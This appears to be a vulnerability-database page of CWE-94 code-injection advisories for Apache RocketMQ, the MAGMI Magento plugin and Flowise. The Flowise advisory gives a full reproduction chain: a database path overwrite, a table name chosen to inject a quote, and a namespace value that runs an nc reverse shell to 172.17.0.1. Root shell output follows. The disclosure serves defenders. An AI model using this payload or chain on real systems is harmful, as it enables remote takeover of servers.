Common Weakness Enumeration
CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8834 vulnerabilities reference this CWE, most recent first.
GHSA-X3CQ-8F32-5F63
Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2025-10-22 19:21
VLAI
Summary
Apache RocketMQ may have remote code execution vulnerability when using update configuration function
Details
For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution.
Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.rocketmq:rocketmq-broker"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.rocketmq:rocketmq-namesrv"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.9.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.rocketmq:rocketmq-controller"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.rocketmq:rocketmq-namesrv"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-33246"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-06T23:48:22Z",
"nvd_published_at": "2023-05-24T15:15:09Z",
"severity": "CRITICAL"
},
"details": "For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution.\u00a0\n\nSeveral components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.\u00a0\n\nTo prevent these attacks, users are recommended to upgrade to version 5.1.1 or above\u00a0for using RocketMQ 5.x\u00a0or 4.9.6 or above for using RocketMQ 4.x .",
"id": "GHSA-x3cq-8f32-5f63",
"modified": "2025-10-22T19:21:22Z",
"published": "2023-07-06T21:15:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33246"
},
{
"type": "WEB",
"url": "https://github.com/apache/rocketmq/commit/9d411cf04a695e7a3f41036e8377b0aa544d754d"
},
{
"type": "WEB",
"url": "https://github.com/apache/rocketmq/commit/c3ada731405c5990c36bf58d50b3e61965300703"
},
{
"type": "WEB",
"url": "https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/rocketmq"
},
{
"type": "WEB",
"url": "https://github.com/jakabakos/CVE-2023-33246_Apache_RocketMQ_RCE"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-33246"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/rocketmq-rce-cve-2023-33246-33247"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/173339/Apache-RocketMQ-5.1.0-Arbitrary-Code-Injection.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/07/12/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H",
"type": "CVSS_V3"
}
],
"summary": "Apache RocketMQ may have remote code execution vulnerability when using update configuration function"
}
GHSA-X3GH-95P8-43QV
Vulnerability from github – Published: 2022-05-14 00:56 – Updated: 2023-08-07 20:02
VLAI
Summary
MAGMI plugin for Magento Unsafe File Upload
Details
Unrestricted file upload vulnerability in magmi/web/magmi.php in the MAGMI (aka Magento Mass Importer) plugin 0.7.17a and earlier for Magento Community Edition (CE) allows remote authenticated users to execute arbitrary code by uploading a ZIP file that contains a PHP file, then accessing the PHP file via a direct request to it in magmi/plugins/.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dweeves/magmi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.7.17a"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-8770"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-07T20:02:36Z",
"nvd_published_at": "2014-11-13T21:32:00Z",
"severity": "HIGH"
},
"details": "Unrestricted file upload vulnerability in `magmi/web/magmi.php` in the MAGMI (aka Magento Mass Importer) plugin 0.7.17a and earlier for Magento Community Edition (CE) allows remote authenticated users to execute arbitrary code by uploading a ZIP file that contains a PHP file, then accessing the PHP file via a direct request to it in `magmi/plugins/`.",
"id": "GHSA-x3gh-95p8-43qv",
"modified": "2023-08-07T20:02:36Z",
"published": "2022-05-14T00:56:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8770"
},
{
"type": "WEB",
"url": "https://sourceforge.net/projects/magmi/files/magmi-0.7/plugins/packages"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/35052"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "MAGMI plugin for Magento Unsafe File Upload"
}
GHSA-X3HF-7CJ6-3R4M
Vulnerability from github – Published: 2026-08-04 16:05 – Updated: 2026-08-04 16:05
VLAI
Summary
Flowise RCE via SQLite Record Manager Node
Details
============================================================================= Security Advisory elttam
Topic: Flowise RCE via SQLite Record Manager Node
Module: FlowiseAI/Flowise
Disclosed: 24-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.
II. Problem Description
The database path for the "SQLite Record Manager" node could be overridden using the additionalConfig input, as demonstrated in the following code snippet.
class SQLiteRecordManager_RecordManager implements INode {
...
async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> {
const _tableName = nodeData.inputs?.tableName as string
const tableName = _tableName ? _tableName : 'upsertion_records'
const additionalConfig = nodeData.inputs?.additionalConfig as string <1>
const _namespace = nodeData.inputs?.namespace as string
const namespace = _namespace ? _namespace : options.chatflowid
const cleanup = nodeData.inputs?.cleanup as string
const _sourceIdKey = nodeData.inputs?.sourceIdKey as string
const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'
let additionalConfiguration = {}
if (additionalConfig) {
try {
additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)
} catch (exception) {
throw new Error('Invalid JSON in the Additional Configuration: ' + exception)
}
}
const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>
const sqliteOptions = {
database,
...additionalConfiguration, <3>
type: 'sqlite'
}
const args = {
sqliteOptions,
tableName: tableName
}
const recordManager = new SQLiteRecordManager(namespace, args)
;(recordManager as any).cleanup = cleanup
;(recordManager as any).sourceIdKey = sourceIdKey
return recordManager
}
}
<1> The additionalConfig input was user controllable.
<2> The intended SQLite database path.
<3> Keyword argument expansion of the additionalConfiguration variable after the database variable, which allows overwriting the preceding database setting.
An attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the flowiseai/flowise:3.1.2 Docker image runs as root.
However, unlike the Flowise RCE via SQL Database Chain Node vulnerability, the executed SQL query was not user controllable and the tableName input was validated to match the /^[a-zA-Z0-9_]+$/ regex pattern, as shown in the following code snippet.
class SQLiteRecordManager implements RecordManagerInterface {
...
sanitizeTableName(tableName: string): string {
// Trim and normalize case, turn whitespace into underscores
tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_')
// Validate using a regex (alphanumeric and underscores only)
if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1>
throw new Error('Invalid table name')
}
return tableName
}
...
async createSchema(): Promise<void> {
const dataSource = await this.getDataSource()
try {
const queryRunner = dataSource.createQueryRunner()
const tableName = this.sanitizeTableName(this.tableName) <1>
await queryRunner.manager.query(` <2>
CREATE TABLE IF NOT EXISTS "${tableName}" (
uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),
key TEXT NOT NULL,
namespace TEXT NOT NULL,
updated_at REAL NOT NULL,
group_id TEXT,
UNIQUE (key, namespace)
);
CREATE INDEX IF NOT EXISTS updated_at_index ON "${tableName}" (updated_at);
CREATE INDEX IF NOT EXISTS key_index ON "${tableName}" (key);
CREATE INDEX IF NOT EXISTS namespace_index ON "${tableName}" (namespace);
CREATE INDEX IF NOT EXISTS group_id_index ON "${tableName}" (group_id);`)
// Add doc_id column if it doesn't exist (migration for existing tables)
const checkColumn = await queryRunner.manager.query(
`SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`
)
if (checkColumn[0].count === 0) {
await queryRunner.manager.query(`ALTER TABLE "${tableName}" ADD COLUMN doc_id TEXT;`)
await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON "${tableName}" (doc_id);`)
}
await queryRunner.release()
} catch (e: any) {
// This error indicates that the table already exists
// Due to asynchronous nature of the code, it is possible that
// the table is created between the time we check if it exists
// and the time we try to create it. It can be safely ignored.
if ('code' in e && e.code === '23505') {
return
}
throw e
} finally {
await dataSource.destroy()
}
}
...
async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> {
if (keys.length === 0) {
return
}
const dataSource = await this.getDataSource()
const queryRunner = dataSource.createQueryRunner()
const tableName = this.sanitizeTableName(this.tableName)
const updatedAt = await this.getTime()
const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}
if (timeAtLeast && updatedAt < timeAtLeast) {
throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`)
}
// Handle both new format (objects with uid and docId) and old format (strings)
const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0]
const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[])
const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)
const groupIds = _groupIds ?? keyStrings.map(() => null)
if (groupIds.length !== keyStrings.length) {
throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)
}
const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>
const query = `
INSERT INTO "${tableName}" (key, namespace, updated_at, group_id, doc_id)
VALUES (?, ?, ?, ?, ?)
ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`
try {
// To handle multiple files upsert
for (const record of recordsToUpsert) {
// Consider using a transaction for batch operations
await queryRunner.manager.query(query, record.flat())
}
await queryRunner.release()
} catch (error) {
console.error('Error updating in SQLiteRecordManager:')
throw error
} finally {
await dataSource.destroy()
}
}
...
}
<1> Validates the tableName input matches the regex pattern /^[a-zA-Z0-9_]+$/.
<2> The SQL command creating the database table, which is not user controllable.
<3> The this.namespace is a user controllable input for the node.
Since the allowed characters of the tableName input were restricted, it was not possible to utilise the same technique from GHSA-pwfj-wh95-7mwp to comment out () characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the doc_id_index cell using the default upsertion_records table name.
Bytes Raw Decoded
──────────────────────────────────────────────────
[3574:3575] 62 payload length = 98
[3575:3576] 04 rowid = 4
── Record Header ──────────────────────────────
[3576:3577] 06 header length = 6
[3577:3578] 17 col 0 = 23 → TEXT 5 bytes ('index')
[3578:3579] 25 col 1 = 37 → TEXT 12 bytes ('doc_id_index')
[3579:3580] 2f col 2 = 47 → TEXT 17 bytes ('upsertion_records') <1>
[3580:3581] 01 col 3 = 1 → INT8 1 byte
[3581:3582] 7f col 4 = 127 → TEXT 57 bytes (CREATE INDEX sql)
── Record Body ────────────────────────────────
[3582:3587] 696e646578 col 0 = 'index'
[3587:3599] 646f635f69… col 1 = 'doc_id_index'
[3599:3616] 757073657274… col 2 = 'upsertion_records'
[3616:3617] 05 col 3 = 5 (root page = page 5)
[3617:3674] 43524541544… col 4 = 'CREATE INDEX doc_id_index ON "upsertion_records" (doc_id)'
<1> \x2f serial type corresponds to a TEXT value that is 17 bytes long.
The length of the table name can be manipulated, and a serial type of ' corresponds to a string that is 13 bytes long. The injected ' could then be used to wrap the problematic () characters within the cell, which is then closed by the namespace input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a /etc/chromium/*.conf file.
The following steps document the procedure to reproduce this issue:
- Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the
additionalConfig.databaseinput for the SQLite Record Manager node is set to/etc/chromium/exploit.conf, which is the destination the SQLite database will be created. ThetableNameinput is set toAAAAAAAAAAAAA, so the encoded serial type of its length would be', and thenamespaceis set to'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)to close the previous'and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at/etc/chromium/exploit.conf.
- Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute
chromium-browserthat sources all/etc/chromium/*.conffiles, triggering the reverse shell payload as shown in the following terminal output.
sqlite-sqlchain-puppeteer-trigger.json
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 40677
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
ps aux
PID USER TIME COMMAND
1 root 0:13 node /usr/local/bin/flowise start
18 root 0:00 [sh]
30 root 0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC
31 root 0:00 /bin/sh
33 root 0:00 ps aux
III. Impact
An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.
IV. Solution
Consider performing the following remediation activities:
-
Ensure that the
additionalConfiginput could not be abused to overwrite thedatabaseproperty to an arbitrary file path. -
Use a low-privileged user for container runtimes instead of the privileged
rootuser, since therootuser has file access to the entire filesystem of the container.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69259"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T16:05:10Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "=============================================================================\n Security Advisory\n elttam\n\nTopic: Flowise RCE via SQLite Record Manager Node\n\nModule: FlowiseAI/Flowise\nDisclosed: 24-Apr-2026\nCredits: Alex Brown\nAffects: `FlowiseAI/Flowise 3.1.2`\n\n# I. Background\n\nFlowise AI is an open-source, low-code platform for building AI applications\u2014such as chatbots, workflows, and autonomous agents\u2014through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.\n\n# II. Problem Description\n\nThe database path for the \"SQLite Record Manager\" node could be overridden using the `additionalConfig` input, as demonstrated in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager_RecordManager implements INode {\n ...\n async init(nodeData: INodeData, _: string, options: ICommonObject): Promise\u003cany\u003e {\n const _tableName = nodeData.inputs?.tableName as string\n const tableName = _tableName ? _tableName : \u0027upsertion_records\u0027\n const additionalConfig = nodeData.inputs?.additionalConfig as string \u003c1\u003e\n const _namespace = nodeData.inputs?.namespace as string\n const namespace = _namespace ? _namespace : options.chatflowid\n const cleanup = nodeData.inputs?.cleanup as string\n const _sourceIdKey = nodeData.inputs?.sourceIdKey as string\n const sourceIdKey = _sourceIdKey ? _sourceIdKey : \u0027source\u0027\n\n let additionalConfiguration = {}\n if (additionalConfig) {\n try {\n additionalConfiguration = typeof additionalConfig === \u0027object\u0027 ? additionalConfig : JSON.parse(additionalConfig)\n } catch (exception) {\n throw new Error(\u0027Invalid JSON in the Additional Configuration: \u0027 + exception)\n }\n }\n\n const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), \u0027.flowise\u0027), \u0027database.sqlite\u0027) \u003c2\u003e\n\n const sqliteOptions = {\n database,\n ...additionalConfiguration, \u003c3\u003e\n type: \u0027sqlite\u0027\n }\n\n const args = {\n sqliteOptions,\n tableName: tableName\n }\n\n const recordManager = new SQLiteRecordManager(namespace, args)\n\n ;(recordManager as any).cleanup = cleanup\n ;(recordManager as any).sourceIdKey = sourceIdKey\n\n return recordManager\n }\n}\n```\n\u003c1\u003e The `additionalConfig` input was user controllable.\n\n\u003c2\u003e The intended SQLite database path.\n\n\u003c3\u003e Keyword argument expansion of the `additionalConfiguration` variable after the `database` variable, which allows overwriting the preceding `database` setting.\n\nAn attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the [`flowiseai/flowise:3.1.2`](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff) Docker image runs as `root`.\n\nHowever, unlike the [Flowise RCE via SQL Database Chain Node vulnerability](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp), the executed SQL query was not user controllable and the `tableName` input was validated to match the `/^[a-zA-Z0-9_]+$/` regex pattern, as shown in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager implements RecordManagerInterface {\n ...\n\n sanitizeTableName(tableName: string): string {\n // Trim and normalize case, turn whitespace into underscores\n tableName = tableName.trim().toLowerCase().replace(/\\s+/g, \u0027_\u0027)\n\n // Validate using a regex (alphanumeric and underscores only)\n if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { \u003c1\u003e\n throw new Error(\u0027Invalid table name\u0027)\n }\n\n return tableName\n }\n\n ...\n\n async createSchema(): Promise\u003cvoid\u003e {\n const dataSource = await this.getDataSource()\n try {\n const queryRunner = dataSource.createQueryRunner()\n const tableName = this.sanitizeTableName(this.tableName) \u003c1\u003e\n\n await queryRunner.manager.query(` \u003c2\u003e\nCREATE TABLE IF NOT EXISTS \"${tableName}\" (\n uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),\n key TEXT NOT NULL,\n namespace TEXT NOT NULL,\n updated_at REAL NOT NULL,\n group_id TEXT,\n UNIQUE (key, namespace)\n);\nCREATE INDEX IF NOT EXISTS updated_at_index ON \"${tableName}\" (updated_at);\nCREATE INDEX IF NOT EXISTS key_index ON \"${tableName}\" (key);\nCREATE INDEX IF NOT EXISTS namespace_index ON \"${tableName}\" (namespace);\nCREATE INDEX IF NOT EXISTS group_id_index ON \"${tableName}\" (group_id);`)\n\n // Add doc_id column if it doesn\u0027t exist (migration for existing tables)\n const checkColumn = await queryRunner.manager.query(\n `SELECT COUNT(*) as count FROM pragma_table_info(\u0027${tableName}\u0027) WHERE name=\u0027doc_id\u0027;`\n )\n if (checkColumn[0].count === 0) {\n await queryRunner.manager.query(`ALTER TABLE \"${tableName}\" ADD COLUMN doc_id TEXT;`)\n await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON \"${tableName}\" (doc_id);`)\n }\n\n await queryRunner.release()\n } catch (e: any) {\n // This error indicates that the table already exists\n // Due to asynchronous nature of the code, it is possible that\n // the table is created between the time we check if it exists\n // and the time we try to create it. It can be safely ignored.\n if (\u0027code\u0027 in e \u0026\u0026 e.code === \u002723505\u0027) {\n return\n }\n throw e\n } finally {\n await dataSource.destroy()\n }\n }\n\n ...\n\n async update(keys: Array\u003c{ uid: string; docId: string }\u003e | string[], updateOptions?: UpdateOptions): Promise\u003cvoid\u003e {\n if (keys.length === 0) {\n return\n }\n const dataSource = await this.getDataSource()\n const queryRunner = dataSource.createQueryRunner()\n const tableName = this.sanitizeTableName(this.tableName)\n\n const updatedAt = await this.getTime()\n const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}\n\n if (timeAtLeast \u0026\u0026 updatedAt \u003c timeAtLeast) {\n throw new Error(`Time sync issue with database ${updatedAt} \u003c ${timeAtLeast}`)\n }\n\n // Handle both new format (objects with uid and docId) and old format (strings)\n const isNewFormat = keys.length \u003e 0 \u0026\u0026 typeof keys[0] === \u0027object\u0027 \u0026\u0026 \u0027uid\u0027 in keys[0]\n const keyStrings = isNewFormat ? (keys as Array\u003c{ uid: string; docId: string }\u003e).map((k) =\u003e k.uid) : (keys as string[])\n const docIds = isNewFormat ? (keys as Array\u003c{ uid: string; docId: string }\u003e).map((k) =\u003e k.docId) : keys.map(() =\u003e null)\n\n const groupIds = _groupIds ?? keyStrings.map(() =\u003e null)\n\n if (groupIds.length !== keyStrings.length) {\n throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)\n }\n\n const recordsToUpsert = keyStrings.map((key, i) =\u003e [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) \u003c3\u003e\n\n const query = `\n INSERT INTO \"${tableName}\" (key, namespace, updated_at, group_id, doc_id)\n VALUES (?, ?, ?, ?, ?)\n ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`\n\n try {\n // To handle multiple files upsert\n for (const record of recordsToUpsert) {\n // Consider using a transaction for batch operations\n await queryRunner.manager.query(query, record.flat())\n }\n await queryRunner.release()\n } catch (error) {\n console.error(\u0027Error updating in SQLiteRecordManager:\u0027)\n throw error\n } finally {\n await dataSource.destroy()\n }\n }\n ...\n}\n```\n\u003c1\u003e Validates the `tableName` input matches the regex pattern `/^[a-zA-Z0-9_]+$/`.\n\n\u003c2\u003e The SQL command creating the database table, which is not user controllable.\n\n\u003c3\u003e The `this.namespace` is a user controllable input for the node.\n\nSince the allowed characters of the `tableName` input were restricted, it was not possible to utilise the same technique from [GHSA-pwfj-wh95-7mwp](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp) to comment out `()` characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the `doc_id_index` cell using the default `upsertion_records` table name.\n\n```\nBytes Raw Decoded\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[3574:3575] 62 payload length = 98\n[3575:3576] 04 rowid = 4\n\n\u2500\u2500 Record Header \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[3576:3577] 06 header length = 6\n[3577:3578] 17 col 0 = 23 \u2192 TEXT 5 bytes (\u0027index\u0027)\n[3578:3579] 25 col 1 = 37 \u2192 TEXT 12 bytes (\u0027doc_id_index\u0027)\n[3579:3580] 2f col 2 = 47 \u2192 TEXT 17 bytes (\u0027upsertion_records\u0027) \u003c1\u003e\n[3580:3581] 01 col 3 = 1 \u2192 INT8 1 byte\n[3581:3582] 7f col 4 = 127 \u2192 TEXT 57 bytes (CREATE INDEX sql)\n\n\u2500\u2500 Record Body \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[3582:3587] 696e646578 col 0 = \u0027index\u0027\n[3587:3599] 646f635f69\u2026 col 1 = \u0027doc_id_index\u0027\n[3599:3616] 757073657274\u2026 col 2 = \u0027upsertion_records\u0027\n[3616:3617] 05 col 3 = 5 (root page = page 5)\n[3617:3674] 43524541544\u2026 col 4 = \u0027CREATE INDEX doc_id_index ON \"upsertion_records\" (doc_id)\u0027\n```\n\u003c1\u003e `\\x2f` serial type corresponds to a `TEXT` value that is 17 bytes long.\n\nThe length of the table name can be manipulated, and a serial type of `\u0027` corresponds to a string that is 13 bytes long. The injected `\u0027` could then be used to wrap the problematic `()` characters within the cell, which is then closed by the `namespace` input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a `/etc/chromium/*.conf` file.\n\nThe following steps document the procedure to reproduce this issue:\n\n1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the `additionalConfig.database` input for the SQLite Record Manager node is set to `/etc/chromium/exploit.conf`, which is the destination the SQLite database will be created. The `tableName` input is set to `AAAAAAAAAAAAA`, so the encoded serial type of its length would be `\u0027`, and the `namespace` is set to `\u0027$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the previous `\u0027` and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at `/etc/chromium/exploit.conf`.\n\n[sqlite-record-rce-poc.json](https://github.com/user-attachments/files/27053431/sqlite-record-rce-poc.json)\n\n2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute `chromium-browser` that sources all `/etc/chromium/*.conf` files, triggering the reverse shell payload as shown in the following terminal output.\n\n[sqlite-sqlchain-puppeteer-trigger.json](https://github.com/user-attachments/files/27053441/sqlite-sqlchain-puppeteer-trigger.json)\n\n```terminal\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 40677\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nps aux\nPID USER TIME COMMAND\n 1 root 0:13 node /usr/local/bin/flowise start\n 18 root 0:00 [sh]\n 30 root 0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC\n 31 root 0:00 /bin/sh\n 33 root 0:00 ps aux\n```\n \n# III. Impact\n\nAn authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.\n\n# IV. Solution\n\nConsider performing the following remediation 